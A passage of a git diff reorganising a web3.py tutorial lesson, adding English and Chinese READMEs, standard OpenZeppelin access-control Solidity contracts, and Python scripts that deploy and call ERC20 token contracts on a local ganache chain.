+  "bytecode": "0x60566050600b82828239805160001a6073146043577f4e487b7100000000000000000000000000000000000000000000000000000000600052600060045260246000fd5b30600052607381538281f3fe73000000000000000000000000000000000000000030146080604052600080fdfea26469706673582212201791a338d0837bc29fad8f6e4410b26ee3882a43c216ed476afaf3a06184260764736f6c63430008000033",
+  "deployedBytecode": "0x73000000000000000000000000000000000000000030146080604052600080fdfea26469706673582212201791a338d0837bc29fad8f6e4410b26ee3882a43c216ed476afaf3a06184260764736f6c63430008000033",
+  "linkReferences": {},
+  "deployedLinkReferences": {}
+}
diff --git a/basic/18-web3py/README-CN.md b/basic/18-web3py/README-CN.md
new file mode 100644
index 000000000..eddc9bed0
--- /dev/null
+++ b/basic/18-web3py/README-CN.md
@@ -0,0 +1,55 @@
+中文 / [English](./README.md)
+# web3.py 的基本使用
+web3.py是类似于web3.js的在ethereum client API上封装的一层api，熟悉使用它能够让我们对以太坊编程有更好的理解
+
+## 相关工具 
+- python语言的常用IDE：[PyCharm](https://www.jetbrains.com/pycharm/) [Visual Studio Code](https://code.visualstudio.com/)
+- python版本管理工具：[pyenv](https://github.com/pyenv/pyenv) ，可以用pyenv来安装anaconda或者其他版本的python环境
+- ganache-cli: 通过node来安装，快速构建在本地的区块链
+- [brownie](https://eth-brownie.readthedocs.io/en/stable/toctree.html) ：作为python的软件包来安装，类似于truffle，使用它可以更方便编译或者生成项目文件，在这里为了演示web3.py的接口，不使用它的其他功能
+
+## 版本依赖 
+python: 3.x 版本以上 
+env环境支持 `todo`
+
+## 安装 ganache-cli ( ganache-cli 已安装可跳过此步骤 )
+- 使用 npm 安装 
+```
+npm install -g ganache-cli
+```
+
+## 安装 web3  
+```
+pip3 install web3  
+```
+
+## 操作步骤
+- 启动 ganache-cli
+```
+ganache-cli
+```
+
+- 执行脚本
+```
+如果安装完python 3 以上版本，以下命令执不通时，使用 “python3" 代替 "python"
+## 演示合约构造及部署
+python scripts/1_deploy_using_web3.py
+
+
+## 根据已存在的合约地址构造合约实例
+python scripts/2_play_around_on_existing_contract.py
+
+## 使用 openzeppelin 合约演示转账
+python scripts/3_use_openzeppelin.py
+
+## 演示 ERC20 合约的调用
+python scripts/4_use_openzeppelin_mintable_contract.py
+
+## 演示 ERC20 动态 Mint 调用
+python scripts/5_use_openzeppelin_dynamic_mintable_contract.py
+```
+
+
+## 参考链接
+https://web3py.readthedocs.io/en/stable/quickstart.html  
+https://github.com/pypa/pipx   
diff --git a/basic/18-web3py/README.md b/basic/18-web3py/README.md
new file mode 100644
index 000000000..6a68d1c77
--- /dev/null
+++ b/basic/18-web3py/README.md
@@ -0,0 +1,54 @@
+[中文](./README-CN.md) / English
+# Basic usage of web3.py
+web3.py is a wrapped API based on the ethereum client API similar to web3.js. Familiarity with using it can give us a better understanding of programming on ethereum 
+
+## Related tools
+- Common IDE for python: [PyCharm](https://www.jetbrains.com/pycharm/) [Visual Studio Code](https://code.visualstudio.com/)
+- python version management tool: [pyenv](https://github.com/pyenv/pyenv), you can use pyenv to install anaconda or other versions of python environment
+- ganache-cli: Install through node, quickly build a local blockchain
+- [brownie](https://eth-brownie.readthedocs.io/en/stable/toctree.html): Installed as a python package, similar to truffle, it can be used to compile or generate projects more easily, in Here, just to demonstrate the interface of web3.py, its other functions are not used
+
+## Version dependencies
+python: version 3.x and above
+env environment support `todo`
+
+## Install ganache-cli (If ganache-cli is already installed, skip this)
+- Install using npm
+```
+npm install -g ganache-cli
+```
+
+## install web3
+```
+pip3 install web3
+```
+
+## Steps
+- start ganache-cli
+```
+ganache-cli
+```
+
+- execute script
+```
+If the following command cannot be executed after installing Python 3 or above, use "python3" instead of "python"“
+## Demonstrate contract construction and deployment
+python scripts/1_deploy_using_web3.py
+
+## Construct a contract instance based on the existing contract address
+python scripts/2_play_around_on_existing_contract.py
+
+## Demo of transfer using openzeppelin contract
+python scripts/3_use_openzeppelin.py
+
+## Demonstrate the call of the ERC20 contract
+python scripts/4_use_openzeppelin_mintable_contract.py
+
+## Demonstrate ERC20 dynamic Mint call
+python scripts/5_use_openzeppelin_dynamic_mintable_contract.py
+```
+
+
+## Reference link
+https://web3py.readthedocs.io/en/stable/quickstart.html
+https://github.com/pypa/pipx
\ No newline at end of file
diff --git a/Example18-web3py/contracts/erc20.sol b/basic/18-web3py/contracts/erc20.sol
similarity index 99%
rename from Example18-web3py/contracts/erc20.sol
rename to basic/18-web3py/contracts/erc20.sol
index 4b997afcf..04217429b 100644
--- a/Example18-web3py/contracts/erc20.sol
+++ b/basic/18-web3py/contracts/erc20.sol
@@ -4,7 +4,7 @@ pragma solidity ^0.8.0;
 
 import "./ierc20.sol";
 import "./erc20metadata.sol";
-import "./context.sol";
+import "./openzeppelin/Context.sol";
 
 /**
  * @dev Implementation of the {IERC20} interface.
diff --git a/Example18-web3py/contracts/erc20metadata.sol b/basic/18-web3py/contracts/erc20metadata.sol
similarity index 100%
rename from Example18-web3py/contracts/erc20metadata.sol
rename to basic/18-web3py/contracts/erc20metadata.sol
diff --git a/Example18-web3py/contracts/ierc20.sol b/basic/18-web3py/contracts/ierc20.sol
similarity index 100%
rename from Example18-web3py/contracts/ierc20.sol
rename to basic/18-web3py/contracts/ierc20.sol
diff --git a/Example18-web3py/contracts/my_erc20.sol b/basic/18-web3py/contracts/my_erc20.sol
similarity index 100%
rename from Example18-web3py/contracts/my_erc20.sol
rename to basic/18-web3py/contracts/my_erc20.sol
diff --git a/Example18-web3py/contracts/my_erc20_openzeppelin.sol b/basic/18-web3py/contracts/my_erc20_openzeppelin.sol
similarity index 92%
rename from Example18-web3py/contracts/my_erc20_openzeppelin.sol
rename to basic/18-web3py/contracts/my_erc20_openzeppelin.sol
index cac7c25e4..6219b5096 100644
--- a/Example18-web3py/contracts/my_erc20_openzeppelin.sol
+++ b/basic/18-web3py/contracts/my_erc20_openzeppelin.sol
@@ -1,8 +1,8 @@
 // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.0;
 
-import "OpenZeppelin/openzeppelin-contracts@4.1.0/contracts/token/ERC20/ERC20.sol";
-import "OpenZeppelin/openzeppelin-contracts@4.1.0/contracts/access/AccessControl.sol";
+import "./erc20.sol";
+import "./openzeppelin/AccessControl.sol";
 
 contract MyTokenOpenZeppelin is ERC20 {
     constructor(uint256 initialSupply) public ERC20("MyTokenOpenZeppelin", "MTOZ") {
diff --git a/basic/18-web3py/contracts/openzeppelin/AccessControl.sol b/basic/18-web3py/contracts/openzeppelin/AccessControl.sol
new file mode 100644
index 000000000..2a29bed28
--- /dev/null
+++ b/basic/18-web3py/contracts/openzeppelin/AccessControl.sol
@@ -0,0 +1,243 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+import "./Context.sol";
+import "./Strings.sol";
+import "./ERC165.sol";
+
+/**
+ * @dev External interface of AccessControl declared to support ERC165 detection.
+ */
+interface IAccessControl {
+    function hasRole(bytes32 role, address account) external view returns (bool);
+    function getRoleAdmin(bytes32 role) external view returns (bytes32);
+    function grantRole(bytes32 role, address account) external;
+    function revokeRole(bytes32 role, address account) external;
+    function renounceRole(bytes32 role, address account) external;
+}
+
+/**
+ * @dev Contract module that allows children to implement role-based access
+ * control mechanisms. This is a lightweight version that doesn't allow enumerating role
+ * members except through off-chain means by accessing the contract event logs. Some
+ * applications may benefit from on-chain enumerability, for those cases see
+ * {AccessControlEnumerable}.
+ *
+ * Roles are referred to by their `bytes32` identifier. These should be exposed
+ * in the external API and be unique. The best way to achieve this is by
+ * using `public constant` hash digests:
+ *
+ * ```
+ * bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
+ * ```
+ *
+ * Roles can be used to represent a set of permissions. To restrict access to a
+ * function call, use {hasRole}:
+ *
+ * ```
+ * function foo() public {
+ *     require(hasRole(MY_ROLE, msg.sender));
+ *     ...
+ * }
+ * ```
+ *
+ * Roles can be granted and revoked dynamically via the {grantRole} and
+ * {revokeRole} functions. Each role has an associated admin role, and only
+ * accounts that have a role's admin role can call {grantRole} and {revokeRole}.
+ *
+ * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
+ * that only accounts with this role will be able to grant or revoke other
+ * roles. More complex role relationships can be created by using
+ * {_setRoleAdmin}.
+ *
+ * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
+ * grant and revoke this role. Extra precautions should be taken to secure
+ * accounts that have been granted it.
+ */
+abstract contract AccessControl is Context, IAccessControl, ERC165 {
+    struct RoleData {
+        mapping (address => bool) members;
+        bytes32 adminRole;
+    }
+
+    mapping (bytes32 => RoleData) private _roles;
+
+    bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
+
+    /**
+     * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
+     *
+     * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
+     * {RoleAdminChanged} not being emitted signaling this.
+     *
+     * _Available since v3.1._
+     */
+    event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
+
+    /**
+     * @dev Emitted when `account` is granted `role`.
+     *
+     * `sender` is the account that originated the contract call, an admin role
+     * bearer except when using {_setupRole}.
+     */
+    event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
+
+    /**
+     * @dev Emitted when `account` is revoked `role`.
+     *
+     * `sender` is the account that originated the contract call:
+     *   - if using `revokeRole`, it is the admin role bearer
+     *   - if using `renounceRole`, it is the role bearer (i.e. `account`)
+     */
+    event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
+
+    /**
+     * @dev Modifier that checks that an account has a specific role. Reverts
+     * with a standardized message including the required role.
+     *
+     * The format of the revert reason is given by the following regular expression:
+     *
+     *  /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
+     *
+     * _Available since v4.1._
+     */
+    modifier onlyRole(bytes32 role) {
+        _checkRole(role, _msgSender());
+        _;
+    }
+
+    /**
+     * @dev See {IERC165-supportsInterface}.
+     */
+    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
+        return interfaceId == type(IAccessControl).interfaceId
+            || super.supportsInterface(interfaceId);
+    }
+
+    /**
+     * @dev Returns `true` if `account` has been granted `role`.
+     */
+    function hasRole(bytes32 role, address account) public view override returns (bool) {
+        return _roles[role].members[account];
+    }
+
+    /**
+     * @dev Revert with a standard message if `account` is missing `role`.
+     *
+     * The format of the revert reason is given by the following regular expression:
+     *
+     *  /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
+     */
+    function _checkRole(bytes32 role, address account) internal view {
+        if(!hasRole(role, account)) {
+            revert(string(abi.encodePacked(
+                "AccessControl: account ",
+                Strings.toHexString(uint160(account), 20),
+                " is missing role ",
+                Strings.toHexString(uint256(role), 32)
+            )));
+        }
+    }
+
+    /**
+     * @dev Returns the admin role that controls `role`. See {grantRole} and
+     * {revokeRole}.
+     *
+     * To change a role's admin, use {_setRoleAdmin}.
+     */
+    function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
+        return _roles[role].adminRole;
+    }
+
+    /**
+     * @dev Grants `role` to `account`.
+     *
+     * If `account` had not been already granted `role`, emits a {RoleGranted}
+     * event.
+     *
+     * Requirements:
+     *
+     * - the caller must have ``role``'s admin role.
+     */
+    function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
+        _grantRole(role, account);
+    }
+
+    /**
+     * @dev Revokes `role` from `account`.
+     *
+     * If `account` had been granted `role`, emits a {RoleRevoked} event.
+     *
+     * Requirements:
+     *
+     * - the caller must have ``role``'s admin role.
+     */
+    function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
+        _revokeRole(role, account);
+    }
+
+    /**
+     * @dev Revokes `role` from the calling account.
+     *
+     * Roles are often managed via {grantRole} and {revokeRole}: this function's
+     * purpose is to provide a mechanism for accounts to lose their privileges
+     * if they are compromised (such as when a trusted device is misplaced).
+     *
+     * If the calling account had been granted `role`, emits a {RoleRevoked}
+     * event.
+     *
+     * Requirements:
+     *
+     * - the caller must be `account`.
+     */
+    function renounceRole(bytes32 role, address account) public virtual override {
+        require(account == _msgSender(), "AccessControl: can only renounce roles for self");
+
+        _revokeRole(role, account);
+    }
+
+    /**
+     * @dev Grants `role` to `account`.
+     *
+     * If `account` had not been already granted `role`, emits a {RoleGranted}
+     * event. Note that unlike {grantRole}, this function doesn't perform any
+     * checks on the calling account.
+     *
+     * [WARNING]
+     * ====
+     * This function should only be called from the constructor when setting
+     * up the initial roles for the system.
+     *
+     * Using this function in any other way is effectively circumventing the admin
+     * system imposed by {AccessControl}.
+     * ====
+     */
+    function _setupRole(bytes32 role, address account) internal virtual {
+        _grantRole(role, account);
+    }
+
+    /**
+     * @dev Sets `adminRole` as ``role``'s admin role.
+     *
+     * Emits a {RoleAdminChanged} event.
+     */
+    function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
+        emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);
+        _roles[role].adminRole = adminRole;
+    }
+
+    function _grantRole(bytes32 role, address account) private {
+        if (!hasRole(role, account)) {
+            _roles[role].members[account] = true;
+            emit RoleGranted(role, account, _msgSender());
+        }
+    }
+
+    function _revokeRole(bytes32 role, address account) private {
+        if (hasRole(role, account)) {
+            _roles[role].members[account] = false;
+            emit RoleRevoked(role, account, _msgSender());
+        }
+    }
+}
\ No newline at end of file
diff --git a/Example18-web3py/contracts/context.sol b/basic/18-web3py/contracts/openzeppelin/Context.sol
similarity index 100%
rename from Example18-web3py/contracts/context.sol
rename to basic/18-web3py/contracts/openzeppelin/Context.sol
diff --git a/basic/18-web3py/contracts/openzeppelin/ERC165.sol b/basic/18-web3py/contracts/openzeppelin/ERC165.sol
new file mode 100644
index 000000000..39180a941
--- /dev/null
+++ b/basic/18-web3py/contracts/openzeppelin/ERC165.sol
@@ -0,0 +1,28 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+import "./IERC165.sol";
+
+/**
+ * @dev Implementation of the {IERC165} interface.
+ *
+ * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
+ * for the additional interface id that will be supported. For example:
+ *
+ * ```solidity
+ * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
+ *     return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
+ * }
+ * ```
+ *
+ * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
+ */
+abstract contract ERC165 is IERC165 {
+    /**
+     * @dev See {IERC165-supportsInterface}.
+     */
+    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
+        return interfaceId == type(IERC165).interfaceId;
+    }
+}
\ No newline at end of file
diff --git a/basic/18-web3py/contracts/openzeppelin/IERC165.sol b/basic/18-web3py/contracts/openzeppelin/IERC165.sol
new file mode 100644
index 000000000..014f7a94f
--- /dev/null
+++ b/basic/18-web3py/contracts/openzeppelin/IERC165.sol
@@ -0,0 +1,24 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+/**
+ * @dev Interface of the ERC165 standard, as defined in the
+ * https://eips.ethereum.org/EIPS/eip-165[EIP].
+ *
+ * Implementers can declare support of contract interfaces, which can then be
+ * queried by others ({ERC165Checker}).
+ *
+ * For an implementation, see {ERC165}.
+ */
+interface IERC165 {
+    /**
+     * @dev Returns true if this contract implements the interface defined by
+     * `interfaceId`. See the corresponding
+     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
+     * to learn more about how these ids are created.
+     *
+     * This function call must use less than 30 000 gas.
+     */
+    function supportsInterface(bytes4 interfaceId) external view returns (bool);
+}
\ No newline at end of file
diff --git a/basic/18-web3py/contracts/openzeppelin/Strings.sol b/basic/18-web3py/contracts/openzeppelin/Strings.sol
new file mode 100644
index 000000000..bab5db1aa
--- /dev/null
+++ b/basic/18-web3py/contracts/openzeppelin/Strings.sol
@@ -0,0 +1,67 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+/**
+ * @dev String operations.
+ */
+library Strings {
+    bytes16 private constant alphabet = "0123456789abcdef";
+
+    /**
+     * @dev Converts a `uint256` to its ASCII `string` decimal representation.
+     */
+    function toString(uint256 value) internal pure returns (string memory) {
+        // Inspired by OraclizeAPI's implementation - MIT licence
+        // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
+
+        if (value == 0) {
+            return "0";
+        }
+        uint256 temp = value;
+        uint256 digits;
+        while (temp != 0) {
+            digits++;
+            temp /= 10;
+        }
+        bytes memory buffer = new bytes(digits);
+        while (value != 0) {
+            digits -= 1;
+            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
+            value /= 10;
+        }
+        return string(buffer);
+    }
+
+    /**
+     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
+     */
+    function toHexString(uint256 value) internal pure returns (string memory) {
+        if (value == 0) {
+            return "0x00";
+        }
+        uint256 temp = value;
+        uint256 length = 0;
+        while (temp != 0) {
+            length++;
+            temp >>= 8;
+        }
+        return toHexString(value, length);
+    }
+
+    /**
+     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
+     */
+    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
+        bytes memory buffer = new bytes(2 * length + 2);
+        buffer[0] = "0";
+        buffer[1] = "x";
+        for (uint256 i = 2 * length + 1; i > 1; --i) {
+            buffer[i] = alphabet[value & 0xf];
+            value >>= 4;
+        }
+        require(value == 0, "Strings: hex length insufficient");
+        return string(buffer);
+    }
+
+}
\ No newline at end of file
diff --git a/Example18-web3py/tests/1_deploy_using_web3.py b/basic/18-web3py/scripts/1_deploy_using_web3.py
similarity index 77%
rename from Example18-web3py/tests/1_deploy_using_web3.py
rename to basic/18-web3py/scripts/1_deploy_using_web3.py
index 851898127..8bd2c1cef 100644
--- a/Example18-web3py/tests/1_deploy_using_web3.py
+++ b/basic/18-web3py/scripts/1_deploy_using_web3.py
@@ -4,16 +4,13 @@
 
 def main():
     w3 = Web3(Web3.HTTPProvider('http://127.0.0.1:8545'))
-    with open('../build/contracts/MyToken.json', 'r') as fr:
+    with open('./ABI/MyToken.json', 'r') as fr:
         erc20_json_dict = json.load(fr)
 
-    print(type(erc20_json_dict))
-    print(erc20_json_dict['abi'])
-    print(erc20_json_dict.keys())
-
     # 1. 查看ganache上的账号以及设置默认账号等
+    print("Accounts Balance before send transaction :")
     for acc in w3.eth.accounts:
-        print(acc)
+        print("Account " + acc + " : " + str(w3.eth.get_balance(acc)))
     w3.eth.default_account = w3.eth.accounts[0]
 
     # 2. 部署智能合约， 使用web3.eth.contract， 传入abi和bytecode，
@@ -26,18 +23,19 @@ def main():
     tx_hash = my_contract.constructor(100 * 10**18).transact({'from': w3.eth.accounts[3]})
 
     # 建立合约的第二种方法
-    contract_data = my_contract.constructor(100 * 10**18).buildTransaction()
+    contract_data = my_contract.constructor(100 * 10**18).buildTransaction({
+      "gasPrice": w3.eth.gas_price, 
+    })
     tx_hash2 = w3.eth.send_transaction(contract_data)
 
     # 2.3 查看交易状态等，返回中会包括合约创建者地址，合约地址等关键信息
     tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
-
-    for k, v in tx_receipt.items():
-        print(k, v)
+    print(f'\nTransaction receipt : { tx_receipt }')
 
     # 2.4 还可以查看一下ganache上发出合约的账户是否消耗了eth
+    print("\nAccounts balance after send transaction ")
     for acc in w3.eth.accounts:
-        print(w3.eth.get_balance(acc))
+        print("Account " + acc + " : " + str(w3.eth.get_balance(acc)))
 
 
 if __name__ =='__main__':
diff --git a/basic/18-web3py/scripts/2_play_around_on_existing_contract.py b/basic/18-web3py/scripts/2_play_around_on_existing_contract.py
new file mode 100644
index 000000000..bc98f7b51
--- /dev/null
+++ b/basic/18-web3py/scripts/2_play_around_on_existing_contract.py
@@ -0,0 +1,51 @@
+from web3 import Web3
+import json
+
+
+def main():
+    w3 = Web3(Web3.HTTPProvider('http://127.0.0.1:8545'))
+    with open('./ABI/MyToken.json', 'r') as fr:
+        erc20_json_dict = json.load(fr)
+
+    # 1. 进行合约部署，然后获取交易回执中的 contractAddress
+    my_contract = w3.eth.contract(abi=erc20_json_dict['abi'], bytecode=erc20_json_dict['bytecode'])
+    tx_hash = my_contract.constructor(100 * 10**18).transact({'from': w3.eth.accounts[3]})
+
+    # 1.2 查看交易状态等，返回中会包括合约创建者地址，合约地址等关键信息
+    tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
+    contract_addr = tx_receipt['contractAddress']
+
+    # 2. 生成该合约地址的合约对象，有两种方法
+    contract = w3.eth.contract(address=contract_addr, abi=erc20_json_dict['abi'])
+
+    ContractClass = w3.eth.contract(abi=erc20_json_dict['abi'])
+    contract_method2 = ContractClass(address=contract_addr)
+
+    # for acc in w3.eth.accounts:
+    #     print(acc)
+    # 3. 如果给予一个没有合约的地址会发生什么？我们来试一试
+    # 3.1 使用与合约地址相差一个数字的地址来测试
+    # 0xA094d630D172FC529ba5756e5c0af4695C75Cd56 exit
+    # 0xA094d630D172FC529ba5756e5c0af4695C75Cd55 not exit
+    # contract_test1 = w3.eth.contract(address='0xA094d630D172FC529ba5756e5c0af4695C75Cd55', abi=erc20_json_dict['abi'])
+    # contract_test1 cannot pass checksum
+
+    # 3.2 使用一个个人账号的地址来测试，这个地址能通过checksum测试
+    contract_test2 = w3.eth.contract(address='0xCF156D72bEAEc66678fD33dEBdE574e9CD781F82', abi=erc20_json_dict['abi'])
+    # nothing happen，说明能生成该合约对象，但是在发送的时候可能会发生错误
+
+    # 4. 查看合约的各种属性，包括了address, abi, bytecode, functions, events
+    # 其中functions和events是对abi进行了解析
+    print(f'\nContract Address : {contract.address}')
+    print(f'\nContract Abi: {contract.abi}')
+    print(f'\nContract ByteCode: { erc20_json_dict["bytecode"] }')
+    for x in contract.functions:
+        print(f'Contract function : { x }')
+    for x in contract.events:
+        print(f'Contract event : { x }')
+
+    print(type(contract.functions.increaseAllowance))
+
+
+if __name__ =='__main__':
+    main()
\ No newline at end of file
diff --git a/Example18-web3py/tests/3_use_openzeppelin.py b/basic/18-web3py/scripts/3_use_openzeppelin.py
similarity index 79%
rename from Example18-web3py/tests/3_use_openzeppelin.py
rename to basic/18-web3py/scripts/3_use_openzeppelin.py
index 692edb3b7..ea167f993 100644
--- a/Example18-web3py/tests/3_use_openzeppelin.py
+++ b/basic/18-web3py/scripts/3_use_openzeppelin.py
@@ -4,7 +4,7 @@
 
 def main():
     w3 = Web3(Web3.HTTPProvider('http://127.0.0.1:8545'))
-    with open('../build/contracts/MyTokenOpenZeppelin.json', 'r') as fr:
+    with open('./ABI/MyTokenOpenZeppelin.json', 'r') as fr:
         erc20_json_dict = json.load(fr)
 
     my_contract = w3.eth.contract(abi=erc20_json_dict['abi'], bytecode=erc20_json_dict['bytecode'])
@@ -13,8 +13,8 @@ def main():
     # 1. 使用my_contract类直接构建一个contract
     tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
     contract = my_contract(address=tx_receipt['contractAddress'])
-    print(contract.address)
-    print(w3.eth.accounts[0])
+    print(f'Contract Address : {contract.address} ')
+    print(f'Account[0] : {w3.eth.accounts[0]} ')
 
 
     # 2. call和transact的区别
@@ -24,7 +24,7 @@ def main():
     # 实在不按照这个规则来调用也是可以的
 
     return_value = contract.functions.name().call()
-    print(return_value)
+    print(f'Contract name : {return_value} ')
     tx_hash = contract.functions.name().transact({'from': w3.eth.accounts[0]})
     tx_receipt2 = w3.eth.get_transaction_receipt(tx_hash)
 
@@ -35,29 +35,29 @@ def main():
     # 使用buildTransaction会生成一个字典，包括多个字段，
     # 其中'data' 中包括基于该函数的ABI和函数名及函数参数生成相应的二进制数据
     # 与使用Contract.encodeABI是一样的结果
-    transaction_data = contract.functions.name().buildTransaction()
+    transaction_data = contract.functions.name().buildTransaction({
+      "gasPrice": w3.eth.gas_price, 
+    })
     encoded_function_bytecode = contract.encodeABI(fn_name='name', args=None)
 
     assert transaction_data['data'] == encoded_function_bytecode
 
     xx = w3.eth.call(transaction_data)
-    print(xx)
-    print(contract.functions.name().call())
+    print('Result of w3.eth.call :' + bytes.decode(xx))
     # 这里两个方法返回的结果不一致，原因未知
 
     # 4. 查看ganachi上10个默认账户的Token数量，注意这里的Token与ETH的数量不是一个东西，使用的API也是不一样的，如下：
-    print(w3.fromWei(w3.eth.get_balance(w3.eth.accounts[0]), 'ether'))
+    print("Account[0] Blance (ETh): " + str(w3.fromWei(w3.eth.get_balance(w3.eth.accounts[0]), 'ether')))
     # if decimal() of the Token is 18, could use fromWei function
-    print(w3.fromWei(contract.functions.balanceOf(w3.eth.accounts[0]).call(), 'ether'))
-
+    print("\nBefore call function transferfrom")
     for acc in w3.eth.accounts:
-        print(w3.fromWei(contract.functions.balanceOf(acc).call(), 'ether'))
+        print("Tokens of Acccount " + acc + " :", w3.fromWei(contract.functions.balanceOf(acc).call(), 'ether'))
 
 
     # 5. 使用ERC20的相关函数
     # 5.1 transferFrom(): test allowance utility
 
-    print('5.1 ---- transferFrom')
+    print('\nCall Function transferFrom')
 
     acc1 = w3.eth.accounts[0]
     acc2 = w3.eth.accounts[1]
@@ -68,13 +68,14 @@ def main():
     tx_hash0 = contract.functions.approve(acc3, 22* 10**decimal).transact({"from": acc1})
     tx_hash = contract.functions.transferFrom(acc1, acc2, 22 * 10**decimal).transact({"from": acc3})
 
+    print("After transfer")
     for acc in w3.eth.accounts:
-        print(w3.fromWei(contract.functions.balanceOf(acc).call(), 'ether'))
+        print("Tokens of Acccount " + acc + " :",w3.fromWei(contract.functions.balanceOf(acc).call(), 'ether'))
 
     # 5.2 _mint(): 使用铸币函数，合约创建者在创建合约的时候可以设置其能获得的初始Token数量，
     # 其他账户获得代币需要使用_mint()函数
 
-    print('5.2 ---- mint')
+    #print('5.2 ---- mint')
     # 不能使用下列函数来铸币，因为_mint函数是internal的，不能从外部调用
     # 参考下一个.py文件中的方法，先构建一个mintable的合约，然后再赋予某个账户mint权限，进行铸币
     # _ = contract.functions._mint(w3.eth.accounts[3], 444 * 10**decimal).transact()
diff --git a/basic/18-web3py/scripts/4_use_openzeppelin_mintable_contract.py b/basic/18-web3py/scripts/4_use_openzeppelin_mintable_contract.py
new file mode 100644
index 000000000..924aa7dee
--- /dev/null
+++ b/basic/18-web3py/scripts/4_use_openzeppelin_mintable_contract.py
@@ -0,0 +1,41 @@
+import json
+from web3 import Web3
+
+
+def main():
+    w3 = Web3(Web3.HTTPProvider('http://127.0.0.1:8545'))
+    with open('./ABI/MyTokenMintable1.json', 'r') as fr:
+        erc20_json_dict = json.load(fr)
+
+    my_contract = w3.eth.contract(abi=erc20_json_dict['abi'], bytecode=erc20_json_dict['bytecode'])
+    tx_hash = my_contract.constructor(w3.eth.accounts[1]).transact({'from': w3.eth.accounts[0]})
+
+    # 0. 使用my_contract类直接构建一个contract
+    tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
+    contract = my_contract(address=tx_receipt['contractAddress'])
+
+    # 1. 测试account[1]的mint权限
+    # 根据MyTokenMintable1的初始函数可以看到account[1]是被赋予了铸币权限
+    print('1. ---- mint role')
+    #print("ssss",w3.toHex(contract.functions.MINTER_ROLE().call()))
+    #print("ttt",w3.toHex(w3.keccak(text="MINTER_ROLE")))
+    print("Account " + w3.eth.accounts[1] + ", Mint Role : " ,contract.functions.hasRole(contract.functions.MINTER_ROLE().call(), w3.eth.accounts[1]).call())
+    #print(w3.toHex(contract.functions.getRoleAdmin(contract.functions.MINTER_ROLE().call()).call()))
+
+    # 2. 进行铸币，
+    # 开始前查看所有账户的Token数量
+    print('\n2. ---- check and mint')
+    print("Before Mint")
+    minter_role = contract.functions.MINTER_ROLE().call()
+    for acc in w3.eth.accounts:
+        print("Account " + acc + " Tokens Balance :" + str(contract.functions.balanceOf(acc).call()), ", Mint Role: " + str(contract.functions.hasRole(minter_role, acc).call()))
+
+    # give everyone 10 Tokens
+    print("\nAfter Mint")
+    for acc in w3.eth.accounts:
+        contract.functions.mint(to=acc, amount=10).transact({'from':w3.eth.accounts[1]})
+        print("Account " + acc + " Tokens Balance :" + str(contract.functions.balanceOf(acc).call()), ", Mint Role: " + str(contract.functions.hasRole(minter_role, acc).call()))
+
+
+if __name__ =='__main__':
+    main()
\ No newline at end of file
diff --git a/basic/18-web3py/scripts/5_use_openzeppelin_dynamic_mintable_contract.py b/basic/18-web3py/scripts/5_use_openzeppelin_dynamic_mintable_contract.py
new file mode 100644
index 000000000..2de2ef6fe
--- /dev/null
+++ b/basic/18-web3py/scripts/5_use_openzeppelin_dynamic_mintable_contract.py
@@ -0,0 +1,47 @@
+import json
+from web3 import Web3
+
+
+def main():
+    w3 = Web3(Web3.HTTPProvider('http://127.0.0.1:8545'))
+    with open('./ABI/MyTokenMintable2.json', 'r') as fr:
+        erc20_json_dict = json.load(fr)
+
+    my_contract = w3.eth.contract(abi=erc20_json_dict['abi'], bytecode=erc20_json_dict['bytecode'])
+    tx_hash = my_contract.constructor().transact({'from': w3.eth.accounts[0]})
+
+    # 0. 使用my_contract类直接构建一个contract
+    tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
+    contract = my_contract(address=tx_receipt['contractAddress'])
+
+    # 1. 测试account[1]的mint权限
+    # 根据MyTokenMintable1的初始函数可以看到account[1]是被赋予了铸币权限
+    print('1. ---- mint role')
+    #print(w3.toHex(contract.functions.MINTER_ROLE().call()))
+    #print(w3.toHex(w3.keccak(text="MINTER_ROLE")))
